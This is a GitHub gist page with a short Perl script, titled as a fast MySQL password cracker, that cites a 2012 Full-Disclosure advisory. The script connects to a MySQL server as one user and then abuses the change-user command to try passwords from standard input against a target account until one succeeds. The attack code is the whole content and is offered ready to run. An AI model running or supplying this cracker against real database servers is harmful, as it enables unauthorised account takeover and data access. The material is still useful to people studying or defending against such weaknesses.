Skip to content

Instantly share code, notes, and snippets.

@evert0n
Created December 4, 2012 22:57
Show Gist options
  • Save evert0n/4209945 to your computer and use it in GitHub Desktop.
Save evert0n/4209945 to your computer and use it in GitHub Desktop.
MySQL Local/Remote FAST Account Password Cracking
#
# http://lists.grok.org.uk/pipermail/full-disclosure/2012-December/089076.html
#
use Net::MySQL;
$|=1;
my $mysql = Net::MySQL->new(
hostname => '192.168.2.3',
database => 'test',
user => "user",
password => "secret",
debug => 0,
);
$crackuser = "crackme";
while(<stdin>) {
chomp;
$currentpass = $_;
$vv = join "\0",
$crackuser,
"\x14".
Net::MySQL::Password->scramble(
$currentpass, $mysql->{salt}, $mysql->{client_capabilities}
) . "\0";
if ($mysql->_execute_command("\x11", $vv) ne undef) {
print "[*] Cracked! --> $currentpass\n";
exit;
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment